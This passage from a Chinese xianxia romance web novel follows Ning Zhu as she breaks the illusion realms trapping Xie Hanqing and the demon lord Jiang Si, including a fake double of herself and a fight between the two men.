空气微微波动,他们面前那两个弟子忽然消失不见。 宁竹大喜,忙说:“谢师兄!快醒醒!” 谢寒卿垂眸。 片刻后,他忽然握住她的手:“宁宁,陈师弟他们也是一片好心,不过你若不喜,下次我们避开他们便是。” 宁竹陷入沉默。 谢寒卿又抓住她的手,继续往前飞。 宁竹说想去幽冥集市,谢寒卿便真的带她飞到了幽冥集市。 房屋鳞次栉比,街上熙熙攘攘,与记忆中别无二般。 谢 寒卿甚至从那家卖尖叫糖画的铺子买了一枚馥郁水果味的糖画递给宁竹。 宁竹咔嚓咬着糖画,郁闷不已。 这幻境太逼真了,幻境里的吃食味道都和记忆中一模一样,时间久了,身处幻境中的人真的会沉湎其中。 只是宁竹有点奇怪。 她推测这幻境应该是会幻化出每个人心中最渴望的东西。 她想要回家,所以幻境幻化出了家人。 但谢寒卿……他的幻境中为什么会是自己呢? 简直不合常理。 谢寒卿可是原著的龙傲天男主诶,他的幻境不应该是自己成为正道魁首,甚至飞升成神么? 忽然有人轻轻擦拭了下她的唇边。 谢寒卿柔声说:“沾了点糖屑。” 宁竹猛然回过神,对上小仙君专注的眼眸。 不,不是吧。 宁竹后知后觉,耳尖开始一点点涨红。 谢寒卿……难道真的喜欢自己? 不可能。 宁竹立刻否认了这个想法。 原著里都说了,谢寒卿此人一心只有大道,天性清冷。 宁竹思索片刻,忽然想到了一种可能性。 谢寒卿的幻境是从和她成婚开始的。 成婚意味着有了新的家人,而自己平日里照顾他居多,所以谢寒卿心中渴望的……应该是一个一心一意对他好的家人。 宁竹觉得很合理。 毕竟谢寒卿的母亲和生父早早抛下他离开,而谢凌风纯纯是个变态。 如果她是谢寒卿,她也会渴望有一个真正的家人陪在自己身边,关心他,爱护他。 宁竹看谢寒卿的眼神变了。 她……大概知道要怎么破解幻境了。 杀掉假宁竹之所以不起作用,是因为没有触及到幻境的关键。 杀掉一个假宁竹,谢寒卿很可能还会编造出第二个,第三个假宁竹。 现在自己这个真宁竹在这里,完全可以做点什么,让谢寒卿不再相信这个幻境。 她要和现实中的宁竹截然不同,这才能让谢寒卿意识到一切都不对劲。 宁竹握紧了糖画。 她忽然把糖画重重往地上一摔:“我不想呆在这里了。” 谢寒卿愣了下,牵起她的手,柔声说:“那我们回去。” 宁竹撒泼:“我也不想回去,这里好无聊,修真界都好无聊。” 谢寒卿没有丝毫不耐烦,而是问:“宁宁想去哪?” 宁竹喉头有点干涩:“魔域。” “我要去魔域。” 第63章 谢寒卿微微思索了下:“好, 我们去魔域。” 他牵着宁竹的手踏上飞剑,柔声说:“魔域不安全,我们去玩一圈就回来,好吗?” 宁竹蛮横道:“不要, 我要在魔域住上几天。” 谢寒卿似乎有点无奈, 但还是应允:“宁宁不要离我太远。” 现实中, 谢寒卿是去过魔域的。 只是幻境融合, 这里的魔域与真正的魔域不尽相同。 没有上古结界阻拦, 两人踏着飞剑, 轻而易举飞过了无妄海。 早在随他出来时, 谢寒卿便给宁竹变了一身衣裳。 白色的留仙裙,裙摆层叠轻软, 行动间飘逸如仙。 谢寒卿同样穿着一身类似材质的白衣,两人并未遮掩, 就这么招摇地走在魔域街头。 宁竹有点想笑。 要是放到真实世界, 他们两个早被魔修喊打喊杀了。 两人找到了一间客栈。 老板娘只是瞥他们一眼,便将钥匙递给他们:“三楼。” 两人入住后,宁竹又开始作妖:“谢师兄,我饿了。” “我要吃修真界没有的东西。” 宁竹思索了下, 违心说:“我不想出去,你去给我买。” 谢寒卿好脾气地答应:“奔波一天,宁宁应该累了,我去给你买,你在屋子里歇息。” 宁竹趴在窗上, 看他下了楼后,沿着长街买各种吃食。 小仙君怀里抱了一堆油纸包,忽然发现她在看他, 他站在原地,对她露出一个笑。 灯火融融,往来的魔修多半穿着黑袍,唯独他一身白衣,如同新雪,不染尘埃。 宁竹的心像被什么东西轻轻扫了下。 她愣了片刻,砰一声关上窗。 宁竹背脊抵住窗棂,默念,这是幻境,拖得越久越危险。 ……不能让谢寒卿沉迷下去。 宁竹趁着他去买东西的时机,偷偷溜到了街上。 在走过三条街后,宁竹看到了黑岩山上那座高耸入云的魔宫。 她松了一口气。 好在魔宫是存在的。 这是谢寒卿的幻境,一切都是根据他的心念而动。 宁竹原本担心他们到了魔域,却没有魔宫存在,那就麻烦了。 一颗悬着的心回落到肚子里。 谢寒卿见过魔尊,有魔宫,就必然有魔尊。 宁竹想到那位流银覆面的魔尊,指尖微微发寒。 但这可能是最好的办法了。 没关系,这里是幻境,除了谢寒卿和她,一切都是假的。 宁竹回到客栈的时候,谢寒卿已经坐在屋子里。 桌案上放着大包小包的吃食,谢寒卿抬头看她:“宁宁,你去哪里了?” 宁竹心虚不已。 但她装出一副不耐烦的表情:“随便下去溜达溜达。” 宁竹翻开他买来的吃食,忍不住笑出声来,又很快憋住。 宁竹对他提出的要求是找修真界没有的吃食,但谢寒卿辟谷多年,不善庖厨,他大抵根本想不出来有哪些修真界没有的吃食。 所以…… 宁竹的目光从面前黑黢黢的糯米丸子,绿色的糖糕,还有一杯散发着奇怪味道的饮子上划过,憋笑憋得脸都红了。 好想笑! 忍住。 还是好想笑! 宁竹掐住自己的大腿,生生把腿都掐红了,才忍住笑意。 虽然是幻境,但这些东西宁竹也不敢碰。 她板着脸,随口说:“我又没胃口了,我想睡觉了。” 宁竹没看谢寒卿,径直爬上了床榻。 片刻后,桌案上的吃食消失不见。 灯也被人熄灭了。 窗外月色清浅,映进屋中。 宁竹偷偷把眼睛睁开一条缝看着谢寒卿。 他在窗边安静坐了一会儿,走到榻边。 宁竹忙闭上眼睛。 谢寒卿掀开被子,睡到了她身边。 小仙君身上带着凉意,片刻后,他轻轻侧过身子,从背后抱住了宁竹。 宁竹身形一僵。 谢寒卿微微蜷缩着身子,额头抵在她肩膀上,声音有些闷:“宁宁,别生我气。” 他们挨得太近,近到谢寒卿说话的震动都顺着宁竹的肩膀攀附而上。 叫她的心脏都陷入酥麻。 宁竹忍住没有接话。 谢寒卿环在她腰上的手微微收紧。 他轻声说:“是不是昨天晚上……让你累到了?” 他抬起头来,软软的气流拂过她的颈窝:“下一次让我侍候你,我们可以……” 宁竹忍不住了,怕他再说下去会说出什么虎狼之词,忙打断他:“我没有生气!” 她想了想补充道:“的确是有点累。” “今天很晚了,我休息一晚就会好,睡觉吧。” 许久之后,身后传来谢寒卿的声音:“好。” 宁竹沉默片刻:“那个,谢师兄,你能不能放开我……咱们这样不太好睡。” 潮热的呼吸微微一凝,谢寒卿慢慢放开她。 宁竹分明没有回头,却能觉察到他委屈巴巴退到床边缘,充满怨念地盯着她的背影。 宁竹闭上眼,摒弃杂念,努力让自己的呼吸变得均匀绵长。 时间一分一秒过去,好几次宁竹都险些睡过去,全靠掐自己大腿保持清醒。 身后之人的呼吸变得平稳绵长。 宁竹一个鲤鱼打挺翻过身。 谢寒卿没动静。 宁竹试探着抬起手,轻轻戳了下他的脸颊。 小仙君睫毛颤了下,但依然没醒。 这就够 了。 宁竹要的就是这点时间差,她根本不指望谢寒卿会到明天早上才发现她离开了。 宁竹手脚麻利,小心翼翼翻身下榻,一溜烟跑了出去。 傍晚的时候她已经摸排过路线,此时轻车熟路,很快就朝着魔宫的方向赶去。 只是宁竹不会想到,在她下榻的那一瞬,谢寒卿就醒了。 这是在谢寒卿的幻境,宁竹没有佩剑,只能靠跑。 而在她身后不远处,一道鬼魅般的身影一直与她保持着不远不近的距离。 宁竹一口气跑到黑岩山脚下。 要上魔宫,只能通过法阵传送,幻境里也维持了这一点。 黑岩山下有魔卫在走动。 宁竹已经发现,幻境中的人是能交互的,也会根据正常逻辑做出回应。 宁竹借着一旁的矮林掩映身形。 地上生着一种叶片细小,色泽深绿的草,宁竹揪着草,默默等待着。 她在心底将说辞演练了一遍又一遍,依然没看见谢寒卿的身影。 天色已经蒙蒙发亮了。 宁竹觉得有点奇怪,这么久了,谢寒卿不应该还没发现她不在身边。 等等。 宁竹愣了下,有没有一种可能,谢寒卿在她出来的时候就已经醒了,甚至一路跟在她身后,只是想确认她要做什么? 宁竹环顾四周,魔卫依然在走动,但看不到谢寒卿。 这是他的幻境,谢寒卿要隐匿身形再简单不过。 不能再等了。 宁竹从矮林中走了出来。 魔卫注意到动静,扬起手中长剑:“何人在此!” 宁竹扬起下巴,神情倨傲:“是我。” 那魔卫愣了下,宁竹说:“帮我通传尊上,就说我回来了。” 魔卫做出一个正常魔修的该有反应:“你是谁?” 宁竹掐着嗓子,学着电视剧里看到的那些妖女反派,咯咯笑起来:“我是谁?” 她缓缓抬手,放到那魔修的肩上:“我自然是尊上安插到修真界的细作。” 隐在暗处的谢寒卿,猛然抓紧了手中长剑。 魔卫的反应很慢,他看着宁竹,似乎在思索自己该做什么。 宁竹知道,这是谢寒卿的意识在影响幻境。 宁竹一咬牙,放在魔卫肩上的手忽然掐住他的喉咙。 她露出嚣张跋扈的表情:“找死么?” 魔卫偏头看着他,喉咙发出嗬嗬响声:“……不是,你不是。” 宁竹掌下用力:“耽搁了尊上的事,你担待得起?” 谢寒卿手背青筋毕露,他的身子在轻轻颤抖。 不可能,宁宁怎么可能是魔域的细作? 魔卫脸色涨红,异常地没有反抗。 宁竹的手越收越紧,那人眼眶凸出,嘴唇开始变紫。 宁竹冷声说:“带我去见魔尊,否则我杀了你。” 谢寒卿盯着宁竹看。 她脸上满是狠辣,全然像是变了一个人。 变了一个人? 对,宁宁之前说,这里是幻境,一切都是假的。 ……假的。 空气微微波动,宁竹面前的魔卫忽明忽暗,像是信号不好时的电视画面。 宁竹心中一喜,谢寒卿快要苏醒了! 她加大手中力度,厉声说:“快带我见魔尊!” 她咬咬牙,继续说:“谢寒卿那蠢货就在附近,时间紧迫,我耽搁不起!” 周遭开始坍塌。 宁竹手中的魔卫倏然化作烟尘。 宁竹大喜,她猛然回头,看见谢寒卿站在一片逐渐坍塌的树林中,手执怀卿剑,眼眶猩红,一动不动盯着她。 演戏自然是要演到底。 宁竹露出惊慌的表情,又很快淡定下来:“谢师兄,你怎么来了?” 他们脚下的地面正在扑簌簌坍塌,有白茫茫的光倾露而出。 从细细的裂缝中能看到外面飘浮的数个光团。 宁竹心中焦急,快点,快点啊! 谢寒卿往前走了一步:“宁宁,这一切是真的么……” 宁竹大声说:“对!我是魔域的细作!我是魔尊的人!” 她胡言乱语:“你就是个蠢货,竟会被我骗!” “谢寒卿,我是魔尊的人!’” 琼枝玉树的小仙君,站在一片快要坍塌的地面上,衣带被风鼓动,清冷的眉眼变得阴翳不堪。 脚下裂隙越来越大,再大一点,她就能直接拽着他跳下去,离开幻境了! 宁竹急得口干舌燥,但只能忍住性子继续输出:“谢寒卿,既然已经被你发现了,我便告诉你。” 她绞尽脑汁思索了一下以前看过的古早狗血剧,张口说:“我对你都是利用,我从来没有爱过你!” 谢寒卿忽然动了。 他抬起手中怀卿剑,冷声说:“你是幻觉。” 在他祭出滔天剑意之时,宁竹瞳孔一缩,浑身上下每一个细胞都在尖叫。 不是吧!! 电光石火间,宁竹忙凝出一团红丝格挡剑意,红丝化为齑粉,宁竹利用这点时间冲着脚下裂开的缝隙拼尽全力一跳! 丧失意识前,宁竹看见的是幻境坍塌,谢寒卿手握长剑,朝她追来的画面。 ……完了。 谢寒卿跪跌在地。 小仙君的衣衫被割得破破烂烂,他撑着长剑抬起头。 看着周围浮动的数个光团,眼神有一瞬迷茫。 ……这是什么? 他身后,属于他的光团正在慢慢消散。 谢寒卿的理智一点点回笼。 他为什么会在这里?他不是进了归墟么? 不,不对。 他在追杀那道幻觉。 似乎有两股意识在脑海中拉扯。 谢寒卿的眼眶变得猩红。 然而下一刻,他看到了其中一个光团。 那个光团被他的剑意割破了,画面流转中,宁竹如同一片落叶,轻飘飘往下滑落。 谢寒卿瞳孔一缩。 宁宁。 下一秒,谢寒卿抬手,直直探入那个光团。 巨大的吸力传来,谢寒卿猝不及防跌入幻境。 而他身后,属于他的那个光团化作星辰点点,也跟着他进入了光团。 那一刹,原本已经渐渐恢复清明的小仙君忽然怔了下。 周围光影斑驳,一切就如同融化了一般,扭曲而不真实。 谢寒卿死死盯住宁竹的消失的方向,轻轻唤:“宁宁。” “尊上,我要吃那个!” 水波荡开,长发挽在脑后的少女扒在池边,仰头看江似。 江似乃是魔尊的打扮,一头银发,只是没有带面具。 他坐在一张摇椅上,周围青松成涛,白雪皑皑,面前的池子热气蒙蒙,宁竹便泡在水中,肩背白皙,樱唇红润。 江似用银签插起一块蜜瓜,弯腰递到她嘴边。 宁竹就着他的手吃掉蜜瓜。 少女的唇边沾了点儿清甜的汁液,唇瓣呈现出一种水润诱人的质地。 江似眼眸微深,指尖轻轻按住她的唇。 宁竹弯眼笑着,伸出舌尖,含住他的手指。 江似托起她的下巴。 倾身,正要吻下。 就在这时,空气波动了下,忽然有一个人直直从半空中掉下来坠入水中。 扑通—— 宁竹吓得忙抓住江似的手:“尊上!” 池子中的人被水生生呛醒了。 她狼狈地抹着脸站起身,剧烈咳嗽起来。 岸上的江似在看清她的脸时,面色变得十分古怪。 宁竹浑身湿透,眼睛里也进了水,周围一片雾气,叫她什么都看不清。 宁竹揉着眼睛,顺着自己的胸口。 这是在哪? 她出幻境了吧? 视线一点点清晰起来,宁竹注意到面前好像有人。 她用手背擦掉睫毛上的水,朝着那人看去。 而江似,在她投来视线的那一刻,霎时变成了黑发。 宁竹不敢置信:“江似?!你怎么在这?” 她旋即才看到,自己不远处的池边,还趴着一个少女。 少女可怜兮兮抓住江似的袖角,扭头看着她。 在看清她的脸时,宁竹险些再次栽倒在池子里。 ……又来一个假宁竹?! 假宁竹看清宁竹的脸,也瑟瑟发抖:“尊……” 江似捂住了她的唇。 假宁竹眼眸湿漉漉地看着江似,发出可怜的呜呜声。 宁竹这才注意到,假宁竹只穿着一件鹅黄色的肚兜,又泡在雾气氤氲的池子中,便显得格外……色.情。 看她如此依赖江似的模样,宁竹还有什么不懂。 她的脸一点点涨红,咬牙切齿说:“江似!!你怎么能陷在这样的幻境里!” 江似瞳孔颤了下,幻境? 身下的宁竹用哀怨的眼神看着他,池子里的宁竹面色涨红,气得脸颊都微微鼓起。 周边波动扭曲了一刹。 江似忽然抬起手,一股魔气缠上宁竹的腰,将她带到自己面前。 宁竹的衣裙还在往下淅淅沥沥滴水,整个人狼狈不堪。 江似黝黑的眼盯着她:“你说这里是幻境。” 他眼神示意脚下的假宁竹:“意思是她是假的?” 宁竹被他捆得不太舒服,她扭了下身子:“我是真的!” 听到她这么说,假宁竹不乐意极了,她如同蛇一样,赤裸白皙的双臂缠上江似的腿:“……夫君别听她胡说八道。” 宁竹一愣。 夫君? 这个幻觉顶着自己的脸,表情动作无一处不魅惑。 宁竹盯着江似一字一句说:“江似!你好好想想,我会是这幅样子么?” 江似唇边勾起一点笑,语气阴森森的:“你说你是真的,那就证明给我看。” 宁竹一咬牙,握起拳头,一拳打到了他脸上。 外面的月亮真漂亮。 宁竹屈膝坐在床榻上,透过那扇小小的窗看着皎洁的月色。 门外有人影晃动,是看守她的侍卫。 宁竹坐了一会儿,有点累,索性舒展身子,将自己瘫平,倒下,呈大字形横在榻上。 ……早知道就不殴打江似了。 或许还不会被他拎到这里来囚禁。 宁竹盯着精美的帐幔,长长叹了一口气。 也不知道江似在这个幻境里是什么身份。 有权有势……不太妙。 宁竹想起那个泡在池子里的假宁竹,觉得谢寒卿那边的路子在这里估计是走不通了。 这个假宁竹,除了那张脸,跟她简直是一点相像的地方都没有。 江似竟然愿意沉湎在这样的幻境里,简直是,简直是……可耻! 宁竹气得重重垂了下床。 江似推开门的时候,看到的便是宁竹气鼓鼓砸床板的模样。 江似站在门口,偏头盯着她看。 ……很奇怪。 分明阿宁一直陪着他,但为什么他会想起里面这个人。 ……仿佛什么时候,他的确被她这么打过一拳。 江似头忽然很痛。 眼前一幕幕飞快的画面闪过。 灯火幽微的街巷,他抬眸看着一个少女从自己面前走过。 暖意融融的小屋,有人坐在窗边缝着什么东西,哼着一支小调…… 画面扭曲变形,忽然变成阿宁眼睫濡湿,轻轻唤他“夫君”的模样。 江似盯着床榻上的少女,眼瞳愈发黢黑。 他提步,走了进去。 第64章 听到门口的声音, 宁竹吓了一跳,几乎是一下子从床上蹦起来。 她看到是江似,显然松了一口气,又慢吞吞坐回去。 江似饶有兴味道:“你不怕我?” 宁竹没好气地看他一眼:“为什么要怕你, 我们那么熟。” 江似眼眸微动:“你只是和阿宁长得像, 我不认识你。” 阿宁? 宁竹在飞快思索。 从目前的情况推断, 江似在这个幻境中身份地位很高, 住在华美的屋子里, 手下有侍卫, 身旁还有一个妻子陪伴他。 很符合世俗意义上的完美。 江似不是谢寒卿。 如果她杀了那个假宁竹, 江似说不定下一秒就把她挫骨扬灰了。 谢寒卿的执念是一个陪伴他的家人,在这个幻境中, 她杀了假宁竹也没关系,因为她自动代替假宁竹, 成为了新的家人。 最终幻境坍塌的契机, 是他觉察到家人的“背叛”,他不肯相信这一切。 但在江似的幻境中,他的执念或许是身份地位,华服美裳, 甚至女人。 联想到现实世界江似一贫如洗的洞府,以及他摆摊的经历,宁竹觉得这一切都变得合理。 江似给自己编织了一个美梦。 那她该怎么做,才能让江似主动从这个美梦中醒过来? 先让他相信自己才是真的宁竹? 宁竹决定试探一下。 宁竹摇头:“她不叫阿宁,叫宁竹。” “她是你根据我幻想出来的人。” “根据你幻想出来的?”江似冷笑。 宁竹点头:“是啊。” 江似忽然上前, 手指钳住她的下巴,一字一句说:“你是什么东西。” 还是这么个臭脾气。 宁竹回望着他,一点闪躲之意也没有:“我说的都是真的, 不信你回去杀了她。” 眼看江似要动怒,宁竹立刻补充:“然后看她会不会又出现。” 少女眼仁清澈,眸光平和:“江似,幻觉是杀不死的。” 江似将她丢到床榻上,折身离开。 宁竹盯着被人重重关上的门,无声叹气。 江似拖着厚重华美的黑色长袍走过廊庑。 垂落在肩上的墨发又一点点变成银色。 见他经过,沿途魔卫纷纷低头行礼:“尊上。” 江似一路走到澜月阁。 天际挂着一轮硕大的月亮,澜月阁矗立在月色下,檐牙高啄,檐角骨铃叮当作响。 阿宁便赤脚坐在房顶上,脚腕上系着的漂亮银链随着她的动作发出细碎的响声。 江似目光微微一凝。 那个女人……手腕上也带着一条银链。 阿宁看见了他,她提着裙摆,开开心心从屋顶跳下来。 江似摊开手将她抱到怀中:“慢一些。” 阿宁双手环抱着他的脖颈,有些撒娇的意味:“尊上,你怎么才过来!” 少女的容貌很美,眼波流转,琼鼻雪腮,看人时含着三分娇。 江似却想起方才宁竹所说。 她是幻觉,而幻觉……是杀不死的。 江似的眼瞳变得幽深黢黑。 他的手微微往下,滑到少女的脖颈上。 阿宁还在看他。 少女眸光盈盈,用一种信赖的,欢喜的神情看着他。 江似的手微微收紧。 阿宁以为他在同自己玩闹,轻轻推了下他胸膛:“尊上——” 江似掌下用力,一点点收紧。 阿宁面色开始涨红,她似乎意识到什么,眼眸里浮现出泪光:“尊,尊上!” 江似看着她。 阿宁眸中浮现出哀戚和悲伤,泪水成串滚落。 江似忽然松开手,抱着她大口大口喘气:“对不起。” 他怎么能因为旁人的胡言乱语伤害阿宁? 江似的眼眶变得猩红。 ……他要杀了那个赝品。 宁竹正躺在床上放空自己,门忽然被人推开了。 宁竹转过头,见是江似,她一下子直起身:“……你没杀她?” 幻境都没波动诶,肯定是他没舍得下手。 江似抬手,翻涌的魔气包裹住宁竹,只要他一收紧,眼前之人就会被炸成烟花。 宁竹低头看了一眼周身缭绕的魔气,喉头发干:“江似,你要杀了我,就真的会被困在这里出不去了。” 江似定定盯着魔气中那张素白的脸。 少女的眼眸因为惊恐微微瞪大,可是眸光却很偏执,仿佛认定了她不会对她动手。 ……头好痛。 仿佛有什么东西在他识海中翻搅。 阿宁不会对他露出畏惧的神情,阿宁向来都是带着笑意的…… 但为什么眼前出现了一张张重叠的脸,或惊喜,或责备,或惶恐,或愤怒。 无数个鲜活的阿宁交织在一起,最后与面前之人重合。 江似身形摇晃。 周围在这一刹产生了微微的波动。 宁竹瞳孔一缩,十分紧张:“江似!你是不是想起什么来了?” 江似忽然捂住头,狼狈地撞到桌角。 ……不,不对,他不是南陵城的乞儿,而是魔气滋养凝结的魔尊。 天生地养,何来父母? 他也没有在天玑山当过弟子,更没有被人抢夺灵石,打到意识模糊。 他从一开始便是魔尊,万人敬仰,呼风唤雨…… 江似捂着头,靠着桌角缓缓蹲下身子,浑身颤抖,眼眶血红。 周遭一切都在扭曲,波动,但又有另一股力量在维持平稳。 两相角逐,激烈不已。 宁竹被魔气困住,不得动弹,只能冲他喊:“江似!我们现在在归墟里,这里是幻境,要是沉湎在这里,就一辈子都出不去了!” 江似眼前一切都变得模糊,他缓缓抬头,看向宁竹。 ……幻境,这一切都是假的么?连阿宁也是假的? 江似摇摇晃晃起身,他唇边溢出血迹,朝着宁竹一步一步走去。 四周波动得更厉害了,宁竹觉得胜利在望,忙说:“江似!就差一点点!我们马上就能脱离幻境了!” 江似缓缓抬起手,托起宁竹的下巴,哑声问:“那你呢,你为什么会出现在我的幻境。” 宁竹自然不可能跟他说自己是被谢寒卿一剑劈进来的啊! 少年眼瞳猩红,未束马尾,夹杂着点点银丝的黑发披散在肩头,整个人疯癫又偏执。 钳住她下巴的力度一点点加大,宁竹觉察到他在轻颤。 宁竹意识到这个问题很重要,关系着他到底会不会相信自己。 她脑子飞快转动,开口说:“因为我们是恋人!我必需要救你出去!” 空气安静了一瞬,周遭忽然有坍塌的迹象。 宁竹一喜,正要说话,门口忽然传来轰隆一声。 宁竹循声看去,瞳孔一缩。 谢寒卿提着长剑站在门口,白衣染血,整个人苍白得几乎透明。 那双冷淡又剔透的眼瞳定定看着她:“……宁宁,跟我回家。” 宁竹整个人要裂开了。 这是什么情况?谢寒卿为什么会出现在江似的幻境? 而且,为什么他看上去还没恢复清醒? 坍塌停止了,一切又恢复为原貌。 江似危险地眯起眼:“……宁宁?回家?” 宁竹简直要发出尖叫,她试图去拉江似的手:“没有!他也是幻觉!江似,你继续啊!我们要出去的!” 谢寒卿的目光落在两人交叠的手上。 小仙君抬起清冷的眸,声音有些哑:“宁宁,方才是我吓到你了。” 他脸上有自责:“我不该怀疑你。” 宁竹大脑简直要宕机了。 江似不知何时凝出一股魔气,直指谢寒卿的心口,他一字一句问:“你是何人?” 怀卿剑飞旋着横在谢寒卿身前,谢寒卿语调冷淡:“宁宁的道侣。” 他眼瞳转了下,用不悦的语气说:“放开我夫人。” 话音落,魔气刺破空气,飞旋着朝谢寒卿心口刺去! 与此同时,怀卿剑也嗡鸣着朝江似飞去! 铮—— 魔气刺穿了谢寒卿的胸膛,剑刃摩擦过江似的颈骨。 鲜血如同梅花绽放,溅了宁竹满脸。 她呼吸一滞,眼前阵阵发黑。 “哈。”江似喉头发出短暂的音调。 他拧了拧脖子,被切断的脊骨霎时复原。 江似笑盈盈说:“道侣?可她说,我们才是恋人呢。” 铺天盖地的魔气翻涌而来,将谢寒卿包裹住。 噗呲。 站在原地的小仙君化为血花。 宁竹目眦欲裂:“谢师兄!!’” 与此同时,她像是被一场湿漉漉的雾气包裹住。 有人在她耳边说:“宁宁,别怕。” 困住宁竹的魔气消失,她只觉得虚空中仿佛有人抱住了她。 周围天旋地转,宁竹回眸,看到江似神色扭曲追出来,只是很快被他们抛到身后。 宁竹跌落在地,身下有人护住她,发出一声闷哼。 宁竹胡乱在地上抓了一把,按到什么柔软的东西,忙撑着身子爬起来。 谢寒卿被她垫在身下。 小仙君一身血衣,脸色苍白得厉害,长睫上亦沾了一层细密的血珠。 宁竹头晕乎乎的,忙伸手去摸他的脸。 软的,热的,是活的! 宁竹的手指又顺着往下,直到摸到他胸膛有力的心跳,宁竹才脱力般跌坐在地。 谢寒卿抓住她的手指,轻声说:“对不起,吓到你了,宁宁。” 宁竹胸膛起伏,狠狠喘了几口气。 难道幻境中杀人不会死人?否则方才的情况要怎么解释? 她平复片刻,才说:“谢师兄,你为什么会跟进来?” 而且就算跟进来,谢寒卿也应该恢复理智了,这里毕竟不是他的幻境。 可为什么谢寒卿还是像在自己的幻境中一样? 谢寒卿掰开宁竹的手指,慢慢缠绕而上,两人十指相扣,谢寒卿说:“来找你。” 宁竹愣了下。 在那样的情况下,他还是选择相信她么? 宁竹不知道自己现在的心情该如何形容。 她思索了片刻,忽然想起什么,她问:“你有没有记得自己从一个地方掉出来,然后看见了很多光团?” 谢寒卿眼珠转了下,目光落在她脸上:“看到了。” 宁竹猛然直起背脊:“你掉出来的那个光团呢?消散了没有?” 谢寒卿思索了下,道:“没有。” “它和你掉进来的光团融合了。” 宁竹的表情僵在了脸上。 她手指颤抖,声音仿佛已经不是自己的:“……融合了?” 谢寒卿仿佛并不觉得有什么问题,他抬起一双清冷的眼看着她,手指握得更紧了:“宁宁,别怕。” 宁竹眼前一阵阵发晕,她欲哭无泪,两个幻境融合了,难怪,难怪谢寒卿还是这幅样子! 简而言之就是,谢寒卿的幻境坍塌了,但没坍塌彻底,所以现在才会导致他依然受幻境影响? 那他们该怎样才能出去? ……死了算了。 宁竹悲愤不已,直直躺倒在地,呈躺尸状。 谢寒卿沉默片刻,也慢吞吞躺在了她身侧,静静挨着她,像是乖训的小兽。 不,不行。 还有好多事要做,他们不能被困在这里。 宁竹一骨碌坐起来,试图挣扎,她说:“你记不记得你刚刚使出那道剑意之后,四周坍塌,所以我才会掉出光团?” 谢寒卿垂了下眼:“对不起。” 宁竹:…… 我不是要你道歉的意思啊! 她有种一拳打在棉花上的感觉,这幻境太过邪门,分明那么不合常理的事情都发生了,谢寒卿竟然意识不到? 她只好说:“谢师兄,你可以再往我们脚下劈一剑吗?” “要使出全部的剑意。” 她喊不醒一个在装睡的人,不如直接试试暴力撕开幻境? 谢寒卿不明白要做什么,色若琉璃的眼困惑地看着她。 宁竹软着声音说:“我想看看谢师兄的剑意。” 她咬牙说:“谢师兄一定比江似厉害吧,对不对?” ……江似。 谢寒卿指尖微微动了下。 他抬手布下一道结界:“宁宁,你躲在里面不要出来。” 宁竹一看有戏,从善如流跳进结界中,眼睛亮晶晶看着他:“谢师兄,快啊!” 谢寒卿看着她,缓缓点头。 袖袍鼓动,谢寒卿忽然动了。 剑鸣铮铮,以挟霜带雪之势,朝着脚下大地劈砍而去! 那一刹方圆数十里都在震颤,青山被霜色包裹,鸟兽哀鸣,爬虫乱窜。 除了被结界护在其中的几颗小草,周遭葳蕤树木尽数被夷为平地。 谢寒卿脚下更是被劈开一道宽约十尺,深约百丈的裂缝。 ……然而幻境没有被撕裂。 谢寒卿收势,转过头来看着宁竹。 小仙君的确已经使出十成十的力气,此时面色苍白,像是一团将融的雪。 宁竹快哭了,但面上却扯出一个笑:“谢师兄,好,好厉害!” 她从结界中踏出,朝着那道裂缝看。 深不见底,黢黑一片。 宁竹忍住跳下去查看能不能就此离开幻境的冲动,扯住谢寒卿的袖子:“谢师兄,要不我们先回去?” 强行撕裂幻境是行不通的,还得找到关键。 不如先回无咎洞府慢慢想。 谢寒卿主动牵住她的手:“好,我们回家。” 与此同时,魔宫。 江似坐在满地狼藉中,一动不动。 直到外面有人轻声唤:“尊上?” 冷月斜斜映照,在黑石阶梯铺上一层霜色。 一个身形娇俏的少女藏在石柱后偷偷看他。 江似抬起头,眼瞳幽深难辨。 阿宁穿着一条漂亮的石榴红长裙,赤足踩在黑岩石上,露在裙摆外 的足尖白得像雪。 江似盯着她看了片刻。 他指尖微动,魔气如蛇,顺着阿宁的裙摆攀附而上。 阿宁以为他在同她玩闹,笑着说:“尊上,好痒……” 然而魔气温柔地滑动着,轻轻捂住了她的口鼻。 阿宁愣了下,唔唔了两声。 江似瞳孔猩红,指尖在发颤。 魔气一点点钻入她的体内,江似能觉察到阿宁的眼泪与魔气混杂在一起。 她在哭泣,在质问,在哀求。 江似闭上了眼。 砰—— 血雾绽开。 鲜血从江似指尖滴答滴答坠落。 他手攥得太紧,不知何时,掌心已经血.肉模糊。 雾气缥缈,冷月孤悬。 江似缓缓睁开眼。 石阶上的少女已消失不见。 忽然有人从背后搂住他的脖颈,声音里带着三分撒娇的意味:“尊上,你怎么一个人坐在这里呀?” 江似眼神倏然变暗。 ……幻觉,是杀不死的。 那一瞬间,江似身下台阶开始寸寸崩裂,周遭坍塌,新出现的阿宁猛然坠落,她抬手,死死抓着江似的衣摆,泪眼婆娑看着他:“尊上!” 江似起身,魔气干脆利落削断袍角。 阿宁不敢置信地瞪大眼,往下坠落。 江似立在半空中,银发在风中凌乱飞舞,黑沉的眼眸注视着脚下的魔宫,直到魔宫彻底坍塌,分解。 与此同时,许多被遗忘的记忆纷纷涌涌,钻入江似的脑海中。 最下方出现了一道白茫茫的缝隙。 透过缝隙,似乎能看见深深浅浅,颜色各异的光团飘浮在空气中。 江似并没有多看一眼,他转身,踏月乘风,朝着反方向飞去。 阿宁是假的,宁竹才是真的。 他依然想不起很多事情,但潜意识里有一道声音在告诉他。 ……杀了谢寒卿,带宁竹离开。 无咎洞府。 墨竹在晚风中摇曳,植物的清香里杂糅了一点露水的湿气。 宁竹沐浴完,坐在屋檐下,用灵力烘干头发的湿气。 这幻境太逼真了,宁竹刚进来时,还能发现许多违和之处,待到现在,这幻境已经足以以假乱真了。 宁竹叹了口气。 到底要怎么出去? 有人在她肩上披了一件披风。 随之而来的是沐浴过后的幽幽冷香。 宁竹偏了偏头:“谢师兄。” 谢寒卿在她旁边坐下,主动抓起她放在膝头的手,十指相扣。 小仙君的手掌宽大,将她轻易包裹在其中,热意从掌心源源不断传来。 宁竹挣扎了一下,谢寒卿没有放开她,眼眸中反而露出点委屈。 “……宁宁,我会多陪你的,我知道你说的那些话都是气话。” “不要再去找那个人了。” 谢寒卿犹豫片刻,小声道:“他不是什么好人。”—— 作者有话说:接下来安排点刺激的 第65章 宁竹:…… 所以他把幻境中的一切加工理解成, 自己是因为寂寞才去找了一个魔修? 